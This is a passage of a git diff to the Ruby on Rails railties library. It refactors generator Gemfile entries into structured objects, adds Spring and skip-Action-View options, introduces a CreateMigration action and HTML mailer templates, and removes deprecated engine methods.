@@ -425,7 +429,6 @@ module Rails
     # Load console and invoke the registered hooks.
     # Check <tt>Rails::Railtie.console</tt> for more info.
     def load_console(app=self)
-      require "pp"
       require "rails/console/app"
       require "rails/console/helpers"
       run_console_blocks(app)
@@ -447,7 +450,7 @@ module Rails
       self
     end
 
-    # Load rails generators and invoke the registered hooks.
+    # Load Rails generators and invoke the registered hooks.
     # Check <tt>Rails::Railtie.generators</tt> for more info.
     def load_generators(app=self)
       require "rails/generators"
@@ -460,7 +463,7 @@ module Rails
     # files inside eager_load paths.
     def eager_load!
       config.eager_load_paths.each do |load_path|
-        matcher = /\A#{Regexp.escape(load_path)}\/(.*)\.rb\Z/
+        matcher = /\A#{Regexp.escape(load_path.to_s)}\/(.*)\.rb\Z/
         Dir.glob("#{load_path}/**/*.rb").sort.each do |file|
           require_dependency file.sub(matcher, '\1')
         end
@@ -606,7 +609,7 @@ module Rails
 
     initializer :load_config_initializers do
       config.paths["config/initializers"].existent.sort.each do |initializer|
-        load(initializer)
+        load_config_initializer(initializer)
       end
     end
 
@@ -634,17 +637,23 @@ module Rails
       end
     end
 
+    def routes? #:nodoc:
+      @routes
+    end
+
     protected
 
+    def load_config_initializer(initializer)
+      ActiveSupport::Notifications.instrument('load_config_initializer.railties', initializer: initializer) do
+        load(initializer)
+      end
+    end
+
     def run_tasks_blocks(*) #:nodoc:
       super
       paths["lib/tasks"].existent.sort.each { |ext| load(ext) }
     end
 
-    def routes? #:nodoc:
-      @routes
-    end
-
     def has_migrations? #:nodoc:
       paths["db/migrate"].existent.any?
     end
diff --git a/railties/lib/rails/engine/commands.rb b/railties/lib/rails/engine/commands.rb
index 072d162..f39f926 100644
--- a/railties/lib/rails/engine/commands.rb
+++ b/railties/lib/rails/engine/commands.rb
@@ -27,7 +27,7 @@ else
   puts <<-EOT
 Usage: rails COMMAND [ARGS]
 
-The common rails commands available for engines are:
+The common Rails commands available for engines are:
  generate    Generate new code (short-cut alias: "g")
  destroy     Undo code generated with "generate" (short-cut alias: "d")
 
diff --git a/railties/lib/rails/engine/railties.rb b/railties/lib/rails/engine/railties.rb
index 1081700..9969a14 100644
--- a/railties/lib/rails/engine/railties.rb
+++ b/railties/lib/rails/engine/railties.rb
@@ -9,10 +9,6 @@ module Rails
           ::Rails::Engine.subclasses.map(&:instance)
       end
 
-      def self.engines
-        @engines ||= ::Rails::Engine.subclasses.map(&:instance)
-      end
-
       def each(*args, &block)
         _all.each(*args, &block)
       end
@@ -20,10 +16,6 @@ module Rails
       def -(others)
         _all - others
       end
-
-      delegate :engines, to: "self.class"
     end
   end
 end
-
-ActiveSupport::Deprecation.deprecate_methods(Rails::Engine::Railties, :engines)
diff --git a/railties/lib/rails/gem_version.rb b/railties/lib/rails/gem_version.rb
new file mode 100644
index 0000000..255e08c
--- /dev/null
+++ b/railties/lib/rails/gem_version.rb
@@ -0,0 +1,15 @@
+module Rails
+  # Returns the version of the currently loaded Rails as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 4
+    MINOR = 1
+    TINY  = 4
+    PRE   = nil
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/railties/lib/rails/generators.rb b/railties/lib/rails/generators.rb
index 4b767ea..dce734b 100644
--- a/railties/lib/rails/generators.rb
+++ b/railties/lib/rails/generators.rb
@@ -1,6 +1,8 @@
 activesupport_path = File.expand_path('../../../../activesupport/lib', __FILE__)
 $:.unshift(activesupport_path) if File.directory?(activesupport_path) && !$:.include?(activesupport_path)
 
+require 'thor/group'
+
 require 'active_support'
 require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/kernel/singleton_class'
@@ -9,12 +11,11 @@ require 'active_support/core_ext/hash/deep_merge'
 require 'active_support/core_ext/module/attribute_accessors'
 require 'active_support/core_ext/string/inflections'
 
-require 'rails/generators/base'
-
 module Rails
   module Generators
     autoload :Actions,         'rails/generators/actions'
     autoload :ActiveModel,     'rails/generators/active_model'
+    autoload :Base,            'rails/generators/base'
     autoload :Migration,       'rails/generators/migration'
     autoload :NamedBase,       'rails/generators/named_base'
     autoload :ResourceHelpers, 'rails/generators/resource_helpers'
@@ -225,7 +226,7 @@ module Rails
       rails = groups.delete("rails")
       rails.map! { |n| n.sub(/^rails:/, '') }
       rails.delete("app")
-      rails.delete("plugin_new")
+      rails.delete("plugin")
       print_list("rails", rails)
 
       hidden_namespaces.each { |n| groups.delete(n.to_s) }
diff --git a/railties/lib/rails/generators/actions.rb b/railties/lib/rails/generators/actions.rb
index 28593c5..afdbf5c 100644
--- a/railties/lib/rails/generators/actions.rb
+++ b/railties/lib/rails/generators/actions.rb
@@ -9,7 +9,7 @@ module Rails
         @in_group = nil
       end
 
-      # Adds an entry into Gemfile for the supplied gem.
+      # Adds an entry into +Gemfile+ for the supplied gem.
       #
       #   gem "rspec", group: :test
       #   gem "technoweenie-restful-authentication", lib: "restful-authentication", source: "http://gems.github.com/"
@@ -61,7 +61,7 @@ module Rails
         end
       end
 
-      # Add the given source to Gemfile
+      # Add the given source to +Gemfile+
       #
       #   add_source "http://gems.github.com/"
       def add_source(source, options={})
@@ -72,10 +72,10 @@ module Rails
         end
       end
 
-      # Adds a line inside the Application class for config/application.rb.
+      # Adds a line inside the Application class for <tt>config/application.rb</tt>.
       #
-      # If options :env is specified, the line is appended to the corresponding
-      # file in config/environments.
+      # If options <tt>:env</tt> is specified, the line is appended to the corresponding
+      # file in <tt>config/environments</tt>.
       #
       #   environment do
       #     "config.autoload_paths += %W(#{config.root}/extras)"
@@ -86,7 +86,7 @@ module Rails
       #   end
       def environment(data=nil, options={}, &block)
         sentinel = /class [a-z_:]+ < Rails::Application/i
-        env_file_sentinel = /::Application\.configure do/
+        env_file_sentinel = /Rails\.application\.configure do/
         data = block.call if !data && block_given?
 
         in_root do
@@ -116,7 +116,7 @@ module Rails
         end
       end
 
-      # Create a new file in the vendor/ directory. Code can be specified
+      # Create a new file in the <tt>vendor/</tt> directory. Code can be specified
       # in a block or a data string can be given.
       #
       #   vendor("sekrit.rb") do
@@ -143,7 +143,7 @@ module Rails
         create_file("lib/#{filename}", data, verbose: false, &block)
       end
 
-      # Create a new Rakefile with the provided code (either in a block or a string).
+      # Create a new +Rakefile+ with the provided code (either in a block or a string).
       #
       #   rakefile("bootstrap.rake") do
       #     project = ask("What is the UNIX name of your project?")
@@ -213,7 +213,7 @@ module Rails
         in_root { run("#{extify(:capify)} .", verbose: false) }
       end
 
-      # Make an entry in Rails routing file config/routes.rb
+      # Make an entry in Rails routing file <tt>config/routes.rb</tt>
       #
       #   route "root 'welcome#index'"
       def route(routing_code)
diff --git a/railties/lib/rails/generators/actions/create_migration.rb b/railties/lib/rails/generators/actions/create_migration.rb
new file mode 100644
index 0000000..cf3b7ac
--- /dev/null
+++ b/railties/lib/rails/generators/actions/create_migration.rb
@@ -0,0 +1,68 @@
+require 'thor/actions'
+
+module Rails
+  module Generators
+    module Actions
+      class CreateMigration < Thor::Actions::CreateFile
+
+        def migration_dir
+          File.dirname(@destination)
+        end
+
+        def migration_file_name
+          @base.migration_file_name
+        end
+
+        def identical?
+          exists? && File.binread(existing_migration) == render
+        end
+
+        def revoke!
+          say_destination = exists? ? relative_existing_migration : relative_destination
+          say_status :remove, :red, say_destination
+          return unless exists?
+          ::FileUtils.rm_rf(existing_migration) unless pretend?
+          existing_migration
+        end
+
+        def relative_existing_migration
+          base.relative_to_original_destination_root(existing_migration)
+        end
+
+        def existing_migration
+          @existing_migration ||= begin
+            @base.class.migration_exists?(migration_dir, migration_file_name) ||
+            File.exist?(@destination) && @destination
+          end
+        end
+        alias :exists? :existing_migration
+
+        protected
+
+        def on_conflict_behavior(&block)
+          options = base.options.merge(config)
+          if identical?
+            say_status :identical, :blue, relative_existing_migration
+          elsif options[:force]
+            say_status :remove, :green, relative_existing_migration
+            say_status :create, :green
+            unless pretend?
+              ::FileUtils.rm_rf(existing_migration)
+              block.call
+            end
+          elsif options[:skip]
+            say_status :skip, :yellow
+          else
+            say_status :conflict, :red
+            raise Error, "Another migration is already named #{migration_file_name}: " +
+                         "#{existing_migration}. Use --force to replace this migration file."
+          end
+        end
+
+        def say_status(status, color, message = relative_destination)
+          base.shell.say_status(status, message, color) if config[:verbose]
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/active_model.rb b/railties/lib/rails/generators/active_model.rb
index e537370..6183944 100644
--- a/railties/lib/rails/generators/active_model.rb
+++ b/railties/lib/rails/generators/active_model.rb
@@ -1,5 +1,3 @@
-require 'active_support/deprecation'
-
 module Rails
   module Generators
     # ActiveModel is a class to be implemented by each ORM to allow Rails to
@@ -65,12 +63,6 @@ module Rails
         "#{name}.update(#{params})"
       end
 
-      def update_attributes(*args) # :nodoc:
-        ActiveSupport::Deprecation.warn("Calling '@orm_instance.update_attributes' " \
-          "is deprecated, please use '@orm_instance.update' instead.")
-        update(*args)
-      end
-
       # POST create
       # PATCH/PUT update
       def errors
diff --git a/railties/lib/rails/generators/app_base.rb b/railties/lib/rails/generators/app_base.rb
index 4df522b..baeb411 100644
--- a/railties/lib/rails/generators/app_base.rb
+++ b/railties/lib/rails/generators/app_base.rb
@@ -1,10 +1,10 @@
 require 'digest/md5'
-require 'securerandom'
 require 'active_support/core_ext/string/strip'
 require 'rails/version' unless defined?(Rails::VERSION)
-require 'rbconfig'
 require 'open-uri'
 require 'uri'
+require 'rails/generators'
+require 'active_support/core_ext/array/extract_options'
 
 module Rails
   module Generators
@@ -18,6 +18,10 @@ module Rails
 
       argument :app_path, type: :string
 
+      def self.strict_args_position
+        false
+      end
+
       def self.add_shared_options_for(name)
         class_option :template,           type: :string, aliases: '-m',
                                           desc: "Path to some #{name} template (can be a filesystem path or URL)"
@@ -37,9 +41,15 @@ module Rails
         class_option :skip_active_record, type: :boolean, aliases: '-O', default: false,
                                           desc: 'Skip Active Record files'
 
+        class_option :skip_action_view,   type: :boolean, aliases: '-V', default: false,
+                                          desc: 'Skip Action View files'
+
         class_option :skip_sprockets,     type: :boolean, aliases: '-S', default: false,
                                           desc: 'Skip Sprockets files'
 
+        class_option :skip_spring,        type: :boolean, default: false,
+                                          desc: "Don't install Spring application preloader"
+
         class_option :database,           type: :string, aliases: '-d', default: 'sqlite3',
                                           desc: "Preconfigure for selected database (options: #{DATABASES.join('/')})"
 
@@ -69,13 +79,48 @@ module Rails
       end
 
       def initialize(*args)
-        @original_wd = Dir.pwd
+        @original_wd   = Dir.pwd
+        @gem_filter    = lambda { |gem| true }
+        @extra_entries = []
         super
         convert_database_option_for_jruby
       end
 
     protected
 
+      def gemfile_entry(name, *args)
+        options = args.extract_options!
+        version = args.first
+        github = options[:github]
+        path   = options[:path]
+
+        if github
+          @extra_entries << GemfileEntry.github(name, github)
+        elsif path
+          @extra_entries << GemfileEntry.path(name, path)
+        else
+          @extra_entries << GemfileEntry.version(name, version)
+        end
+        self
+      end
+
+      def gemfile_entries
+        [ rails_gemfile_entry,
+          database_gemfile_entry,
+          assets_gemfile_entry,
+          javascript_gemfile_entry,
+          jbuilder_gemfile_entry,
+          sdoc_gemfile_entry,
+          spring_gemfile_entry,
+          @extra_entries].flatten.find_all(&@gem_filter)
+      end
+
+      def add_gem_entry_filter
+        @gem_filter = lambda { |next_filter, entry|
+          yield(entry) && next_filter.call(entry)
+        }.curry[@gem_filter]
+      end
+
       def builder
         @builder ||= begin
           builder_class = get_builder_class
@@ -89,11 +134,9 @@ module Rails
       end
 
       def create_root
-        self.destination_root = File.expand_path(app_path, destination_root)
         valid_const?
 
         empty_directory '.'
-        set_default_accessors!
         FileUtils.cd(destination_root) unless options[:pretend]
       end
 
@@ -104,6 +147,7 @@ module Rails
       end
 
       def set_default_accessors!
+        self.destination_root = File.expand_path(app_path, destination_root)
         self.rails_template = case options[:template]
           when /^https?:\/\//
             options[:template]
@@ -115,37 +159,55 @@ module Rails
       end
 
       def database_gemfile_entry
-        options[:skip_active_record] ? "" :
-          <<-GEMFILE.strip_heredoc
-            # Use #{options[:database]} as the database for Active Record
-            gem '#{gem_for_database}'
-          GEMFILE
+        return [] if options[:skip_active_record]
+        GemfileEntry.version gem_for_database, nil,
+                            "Use #{options[:database]} as the database for Active Record"
       end
 
       def include_all_railties?
-        !options[:skip_active_record] && !options[:skip_test_unit] && !options[:skip_sprockets]
+        !options[:skip_active_record] && !options[:skip_action_view] && !options[:skip_test_unit] && !options[:skip_sprockets]
       end
 
       def comment_if(value)
         options[value] ? '# ' : ''
       end
 
+      class GemfileEntry < Struct.new(:name, :version, :comment, :options, :commented_out)
+        def initialize(name, version, comment, options = {}, commented_out = false)
+          super
+        end
+
+        def self.github(name, github, branch = nil, comment = nil)
+          if branch
+            new(name, nil, comment, github: github, branch: branch)
+          else
+            new(name, nil, comment, github: github)
+          end
+        end
+
+        def self.version(name, version, comment = nil)
+          new(name, version, comment)
+        end
+
+        def self.path(name, path, comment = nil)
+          new(name, nil, comment, path: path)
+        end
+
+        def padding(max_width)
+          ' ' * (max_width - name.length + 2)
+        end
+      end
+
       def rails_gemfile_entry
         if options.dev?
-          <<-GEMFILE.strip_heredoc
-            gem 'rails',     path: '#{Rails::Generators::RAILS_DEV_PATH}'
-            gem 'arel',      github: 'rails/arel'
-          GEMFILE
+          [GemfileEntry.path('rails', Rails::Generators::RAILS_DEV_PATH),
+           GemfileEntry.github('arel', 'rails/arel', '5-0-stable')]
         elsif options.edge?
-          <<-GEMFILE.strip_heredoc
-            gem 'rails',     github: 'rails/rails'
-            gem 'arel',      github: 'rails/arel'
-          GEMFILE
+          [GemfileEntry.github('rails', 'rails/rails', '4-1-stable')]
         else
-          <<-GEMFILE.strip_heredoc
-            # Bundle edge Rails instead: gem 'rails', github: 'rails/rails'
-            gem 'rails', '#{Rails::VERSION::STRING}'
-          GEMFILE
+          [GemfileEntry.version('rails',
+                            Rails::VERSION::STRING,
+                            "Bundle edge Rails instead: gem 'rails', github: 'rails/rails'")]
         end
       end
 
@@ -177,77 +239,73 @@ module Rails
       end
 
       def assets_gemfile_entry
-        return if options[:skip_sprockets]
-
-        gemfile = if options.dev? || options.edge?
-          <<-GEMFILE.strip_heredoc
-            # Use edge version of sprockets-rails
-            gem 'sprockets-rails', github: 'rails/sprockets-rails'
-
-            # Use SCSS for stylesheets
-            gem 'sass-rails', github: 'rails/sass-rails'
+        return [] if options[:skip_sprockets]
 
-            # Use Uglifier as compressor for JavaScript assets
-            gem 'uglifier', '>= 1.3.0'
-          GEMFILE
+        gems = []
+        if options.dev? || options.edge?
+          gems << GemfileEntry.github('sprockets-rails', 'rails/sprockets-rails', nil,
+                                    'Use edge version of sprockets-rails')
+          gems << GemfileEntry.github('sass-rails', 'rails/sass-rails', nil,
+                                    'Use SCSS for stylesheets')
         else
-          <<-GEMFILE.strip_heredoc
-            # Use SCSS for stylesheets
-            gem 'sass-rails', '~> 4.0.0'
-
-            # Use Uglifier as compressor for JavaScript assets
-            gem 'uglifier', '>= 1.3.0'
-          GEMFILE
+          gems << GemfileEntry.version('sass-rails',
+                                     '~> 4.0.3',
+                                     'Use SCSS for stylesheets')
         end
 
-        if options[:skip_javascript]
-          gemfile += <<-GEMFILE
-            #{coffee_gemfile_entry}
-            #{javascript_runtime_gemfile_entry}
-          GEMFILE
-        end
+        gems << GemfileEntry.version('uglifier',
+                                   '>= 1.3.0',
+                                   'Use Uglifier as compressor for JavaScript assets')
+
+        gems
+      end
 
-        gemfile.gsub(/^[ \t]+/, '')
+      def jbuilder_gemfile_entry
+        comment = 'Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder'
+        GemfileEntry.version('jbuilder', '~> 2.0', comment)
+      end
+
+      def sdoc_gemfile_entry
+        comment = 'bundle exec rake doc:rails generates the API under doc/api.'
+        GemfileEntry.new('sdoc', '~> 0.4.0', comment, group: :doc)
       end
 
       def coffee_gemfile_entry
+        comment = 'Use CoffeeScript for .js.coffee assets and views'
         if options.dev? || options.edge?
-          <<-GEMFILE
-            # Use CoffeeScript for .js.coffee assets and views
-            gem 'coffee-rails', github: 'rails/coffee-rails'
-          GEMFILE
+          GemfileEntry.github 'coffee-rails', 'rails/coffee-rails', nil, comment
         else
-          <<-GEMFILE
-            # Use CoffeeScript for .js.coffee assets and views
-            gem 'coffee-rails', '~> 4.0.0'
-          GEMFILE
+          GemfileEntry.version 'coffee-rails', '~> 4.0.0', comment
         end
       end
 
       def javascript_gemfile_entry
-        unless options[:skip_javascript]
-          <<-GEMFILE.gsub(/^[ \t]+/, '')
-            #{coffee_gemfile_entry}
-            #{javascript_runtime_gemfile_entry}
-            # Use #{options[:javascript]} as the JavaScript library
-            gem '#{options[:javascript]}-rails'
-
-            # Turbolinks makes following links in your web application faster. Read more: https://github.com/rails/turbolinks
-            gem 'turbolinks'
-          GEMFILE
+        if options[:skip_javascript]
+          []
+        else
+          gems = [coffee_gemfile_entry, javascript_runtime_gemfile_entry]
+          gems << GemfileEntry.version("#{options[:javascript]}-rails", nil,
+                                 "Use #{options[:javascript]} as the JavaScript library")
+
+          gems << GemfileEntry.version("turbolinks", nil,
+            "Turbolinks makes following links in your web application faster. Read more: https://github.com/rails/turbolinks")
+          gems
         end
       end
 
       def javascript_runtime_gemfile_entry
-        runtime = if defined?(JRUBY_VERSION)
-          "gem 'therubyrhino'"
+        comment = 'See https://github.com/sstephenson/execjs#readme for more supported runtimes'
+        if defined?(JRUBY_VERSION)
+          GemfileEntry.version 'therubyrhino', nil, comment
         else
-          "# gem 'therubyracer', platforms: :ruby"
+          GemfileEntry.new 'therubyracer', nil, comment, { platforms: :ruby }, true
         end
-        <<-GEMFILE
-          # See https://github.com/sstephenson/execjs#readme for more supported runtimes
-          #{runtime}
-        GEMFILE
+      end
+
+      def spring_gemfile_entry
+        return [] unless spring_install?
+        comment = 'Spring speeds up development by keeping your application running in the background. Read more: https://github.com/rails/spring'
+        GemfileEntry.new('spring', nil, comment, group: :development)
       end
 
       def bundle_command(command)
@@ -269,12 +327,27 @@ module Rails
 
         require 'bundler'
         Bundler.with_clean_env do
-          print `"#{Gem.ruby}" "#{_bundle_command}" #{command}`
+          output = `"#{Gem.ruby}" "#{_bundle_command}" #{command}`
+          print output unless options[:quiet]
         end
       end
 
+      def bundle_install?
+        !(options[:skip_gemfile] || options[:skip_bundle] || options[:pretend])
+      end
+
+      def spring_install?
+        !options[:skip_spring] && Process.respond_to?(:fork)
+      end
+
       def run_bundle
-        bundle_command('install') unless options[:skip_gemfile] || options[:skip_bundle] || options[:pretend]
+        bundle_command('install') if bundle_install?
+      end
+
+      def generate_spring_binstubs
+        if bundle_install? && spring_install?
+          bundle_command("exec spring binstub --all")
+        end
       end
 
       def empty_directory_with_keep_file(destination, config = {})
diff --git a/railties/lib/rails/generators/base.rb b/railties/lib/rails/generators/base.rb
index 7e938fa..67bab96 100644
--- a/railties/lib/rails/generators/base.rb
+++ b/railties/lib/rails/generators/base.rb
@@ -7,8 +7,6 @@ rescue LoadError
   exit
 end
 
-require 'rails/generators/actions'
-
 module Rails
   module Generators
     class Error < Thor::Error # :nodoc:
@@ -168,15 +166,15 @@ module Rails
         as_hook = options.delete(:as) || generator_name
 
         names.each do |name|
-          defaults = if options[:type] == :boolean
-            { }
-          elsif [true, false].include?(default_value_for_option(name, options))
-            { banner: "" }
-          else
-            { desc: "#{name.to_s.humanize} to be invoked", banner: "NAME" }
-          end
-
           unless class_options.key?(name)
+            defaults = if options[:type] == :boolean
+              { }
+            elsif [true, false].include?(default_value_for_option(name, options))
+              { banner: "" }
+            else
+              { desc: "#{name.to_s.humanize} to be invoked", banner: "NAME" }
+            end
+
             class_option(name, defaults.merge!(options))
           end
 
@@ -211,7 +209,7 @@ module Rails
         return unless base_name && generator_name
         return unless default_generator_root
         path = File.join(default_generator_root, 'templates')
-        path if File.exists?(path)
+        path if File.exist?(path)
       end
 
       # Returns the base root for a common set of generators. This is used to dynamically
@@ -255,12 +253,7 @@ module Rails
             # Split the class from its module nesting
             nesting = class_name.split('::')
             last_name = nesting.pop
-
-            # Extract the last Module in the nesting
-            last = nesting.inject(Object) do |last_module, nest|
-              break unless last_module.const_defined?(nest, false)
-              last_module.const_get(nest)
-            end
+            last = extract_last_module(nesting)
 
             if last && last.const_defined?(last_name.camelize, false)
               raise Error, "The name '#{class_name}' is either already used in your application " <<
@@ -270,6 +263,14 @@ module Rails
           end
         end
 
+        # Takes in an array of nested modules and extracts the last module
+        def extract_last_module(nesting)
+          nesting.inject(Object) do |last_module, nest|
+            break unless last_module.const_defined?(nest, false)
+            last_module.const_get(nest)
+          end
+        end
+
         # Use Rails default banner.
         def self.banner
           "rails generate #{namespace.sub(/^rails:/,'')} #{self.arguments.map{ |a| a.usage }.join(' ')} [options]".gsub(/\s+/, ' ')
@@ -295,7 +296,7 @@ module Rails
           end
         end
 
-        # Return the default value for the option name given doing a lookup in
+        # Returns the default value for the option name given doing a lookup in
         # Rails::Generators.options.
         def self.default_value_for_option(name, options)
           default_for_option(Rails::Generators.options, name, options, options[:default])
@@ -365,12 +366,12 @@ module Rails
             source_root && File.expand_path("../USAGE", source_root),
             default_generator_root && File.join(default_generator_root, "USAGE")
           ]
-          paths.compact.detect { |path| File.exists? path }
+          paths.compact.detect { |path| File.exist? path }
         end
 
         def self.default_generator_root
           path = File.expand_path(File.join(base_name, generator_name), base_root)
-          path if File.exists?(path)
+          path if File.exist?(path)
         end
 
     end
diff --git a/railties/lib/rails/generators/erb.rb b/railties/lib/rails/generators/erb.rb
index 73e986e..0755ac3 100644
--- a/railties/lib/rails/generators/erb.rb
+++ b/railties/lib/rails/generators/erb.rb
@@ -5,6 +5,10 @@ module Erb # :nodoc:
     class Base < Rails::Generators::NamedBase #:nodoc:
       protected
 
+      def formats
+        [format]
+      end
+
       def format
         :html
       end
@@ -13,7 +17,7 @@ module Erb # :nodoc:
         :erb
       end
 
-      def filename_with_extensions(name)
+      def filename_with_extensions(name, format = self.format)
         [name, format, handler].compact.join(".")
       end
     end
diff --git a/railties/lib/rails/generators/erb/controller/controller_generator.rb b/railties/lib/rails/generators/erb/controller/controller_generator.rb
index 5f06734..94c1b83 100644
--- a/railties/lib/rails/generators/erb/controller/controller_generator.rb
+++ b/railties/lib/rails/generators/erb/controller/controller_generator.rb
@@ -11,8 +11,10 @@ module Erb # :nodoc:
 
         actions.each do |action|
           @action = action
-          @path = File.join(base_path, filename_with_extensions(action))
-          template filename_with_extensions(:view), @path
+          formats.each do |format|
+            @path = File.join(base_path, filename_with_extensions(action, format))
+            template filename_with_extensions(:view, format), @path
+          end
         end
       end
     end
diff --git a/railties/lib/rails/generators/erb/mailer/mailer_generator.rb b/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
index 7bcac30..66b17bd 100644
--- a/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
+++ b/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
@@ -5,8 +5,8 @@ module Erb # :nodoc:
     class MailerGenerator < ControllerGenerator # :nodoc:
       protected
 
-      def format
-        :text
+      def formats
+        [:text, :html]
       end
     end
   end
diff --git a/railties/lib/rails/generators/erb/mailer/templates/view.html.erb b/railties/lib/rails/generators/erb/mailer/templates/view.html.erb
new file mode 100644
index 0000000..b504567
--- /dev/null
+++ b/railties/lib/rails/generators/erb/mailer/templates/view.html.erb
@@ -0,0 +1,5 @@
+<h1><%= class_name %>#<%= @action %></h1>
+
+<p>
+  <%%= @greeting %>, find me in <%= @path %>
+</p>
diff --git a/railties/lib/rails/generators/erb/mailer/templates/view.text.erb b/railties/lib/rails/generators/erb/mailer/templates/view.text.erb
index 6d59725..342285d 100644
--- a/railties/lib/rails/generators/erb/mailer/templates/view.text.erb
+++ b/railties/lib/rails/generators/erb/mailer/templates/view.text.erb
@@ -1,3 +1,3 @@
 <%= class_name %>#<%= @action %>
 
-<%%= @greeting %>, find me in app/views/<%= @path %>
+<%%= @greeting %>, find me in <%= @path %>
diff --git a/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
index bacbc2d..c94829a 100644
--- a/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
+++ b/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
@@ -14,8 +14,10 @@ module Erb # :nodoc:
 
       def copy_view_files
         available_views.each do |view|
-          filename = filename_with_extensions(view)
-          template filename, File.join("app/views", controller_file_path, filename)
+          formats.each do |format|
+            filename = filename_with_extensions(view, format)
+            template filename, File.join("app/views", controller_file_path, filename)
+          end
         end
       end
 
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb
index 69c10ef..10f80ab 100644
--- a/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb
+++ b/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb
@@ -4,8 +4,8 @@
       <h2><%%= pluralize(@<%= singular_table_name %>.errors.count, "error") %> prohibited this <%= singular_table_name %> from being saved:</h2>
 
       <ul>
-      <%% @<%= singular_table_name %>.errors.full_messages.each do |msg| %>
-        <li><%%= msg %></li>
+      <%% @<%= singular_table_name %>.errors.full_messages.each do |message| %>
+        <li><%%= message %></li>
       <%% end %>
       </ul>
     </div>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb
index 9d77864..814d6fd 100644
--- a/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb
+++ b/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb
@@ -6,9 +6,7 @@
 <% attributes.reject(&:password_digest?).each do |attribute| -%>
       <th><%= attribute.human_name %></th>
 <% end -%>
-      <th></th>
-      <th></th>
-      <th></th>
+      <th colspan="3"></th>
     </tr>
   </thead>
 
diff --git a/railties/lib/rails/generators/migration.rb b/railties/lib/rails/generators/migration.rb
index cd69a01..cd388e5 100644
--- a/railties/lib/rails/generators/migration.rb
+++ b/railties/lib/rails/generators/migration.rb
@@ -1,15 +1,15 @@
+require 'active_support/concern'
+require 'rails/generators/actions/create_migration'
+
 module Rails
   module Generators
     # Holds common methods for migrations. It assumes that migrations has the
     # [0-9]*_name format and can be used by another frameworks (like Sequel)
     # just by implementing the next migration version method.
     module Migration
+      extend ActiveSupport::Concern
       attr_reader :migration_number, :migration_file_name, :migration_class_name
 
-      def self.included(base) #:nodoc:
-        base.extend ClassMethods
-      end
-
       module ClassMethods
         def migration_lookup_at(dirname) #:nodoc:
           Dir.glob("#{dirname}/[0-9]*_*.rb")
@@ -30,6 +30,19 @@ module Rails
         end
       end
 
+      def create_migration(destination, data, config = {}, &block)
+        action Rails::Generators::Actions::CreateMigration.new(self, destination, block || data.to_s, config)
+      end
+
+      def set_migration_assigns!(destination)
+        destination = File.expand_path(destination, self.destination_root)
+
+        migration_dir = File.dirname(destination)
+        @migration_number     = self.class.next_migration_number(migration_dir)
+        @migration_file_name  = File.basename(destination, '.rb')
+        @migration_class_name = @migration_file_name.camelize
+      end
+
       # Creates a migration template at the given destination. The difference
       # to the default template method is that the migration version is appended
       # to the destination file name.
@@ -38,26 +51,18 @@ module Rails
       # available as instance variables in the template to be rendered.
       #
       #   migration_template "migration.rb", "db/migrate/add_foo_to_bar.rb"
-      def migration_template(source, destination=nil, config={})
-        destination = File.expand_path(destination || source, self.destination_root)
+      def migration_template(source, destination, config = {})
+        source  = File.expand_path(find_in_source_paths(source.to_s))
 
-        migration_dir = File.dirname(destination)
-        @migration_number     = self.class.next_migration_number(migration_dir)
-        @migration_file_name  = File.basename(destination).sub(/\.rb$/, '')
-        @migration_class_name = @migration_file_name.camelize
+        set_migration_assigns!(destination)
+        context = instance_eval('binding')
 
-        destination = self.class.migration_exists?(migration_dir, @migration_file_name)
+        dir, base = File.split(destination)
+        numbered_destination = File.join(dir, ["%migration_number%", base].join('_'))
 
-        if !(destination && options[:skip]) && behavior == :invoke
-          if destination && options.force?
-            remove_file(destination)
-          elsif destination
-            raise Error, "Another migration is already named #{@migration_file_name}: #{destination}. Use --force to remove the old migration file and replace it."
-          end
-          destination = File.join(migration_dir, "#{@migration_number}_#{@migration_file_name}.rb")
+        create_migration numbered_destination, nil, config do
+          ERB.new(::File.binread(source), nil, '-', '@output_buffer').result(context)
         end
-
-        template(source, destination, config)
       end
     end
   end
diff --git a/railties/lib/rails/generators/named_base.rb b/railties/lib/rails/generators/named_base.rb
index d891ba1..b7da44c 100644
--- a/railties/lib/rails/generators/named_base.rb
+++ b/railties/lib/rails/generators/named_base.rb
@@ -18,6 +18,8 @@ module Rails
         parse_attributes! if respond_to?(:attributes)
       end
 
+      # Defines the template that would be used for the migration file.
+      # The arguments include the source template file, the migration filename etc.
       no_tasks do
         def template(source, *args, &block)
           inside_template do
@@ -28,7 +30,12 @@ module Rails
 
       protected
         attr_reader :file_name
-        alias :singular_name :file_name
+
+        # FIXME: We are avoiding to use alias because a bug on thor that make
+        # this method public and add it to the task list.
+        def singular_name
+          file_name
+        end
 
         # Wrap block with namespace of current application
         # if namespace exists and is not skipped
@@ -88,7 +95,7 @@ module Rails
         end
 
         def namespaced_path
-          @namespaced_path ||= namespace.name.split("::").map {|m| m.underscore }[0]
+          @namespaced_path ||= namespace.name.split("::").first.underscore
         end
 
         def class_name
diff --git a/railties/lib/rails/generators/rails/app/app_generator.rb b/railties/lib/rails/generators/rails/app/app_generator.rb
index fbfb234..0c2027d 100644
--- a/railties/lib/rails/generators/rails/app/app_generator.rb
+++ b/railties/lib/rails/generators/rails/app/app_generator.rb
@@ -78,6 +78,7 @@ module Rails
         template "routes.rb"
         template "application.rb"
         template "environment.rb"
+        template "secrets.yml"
 
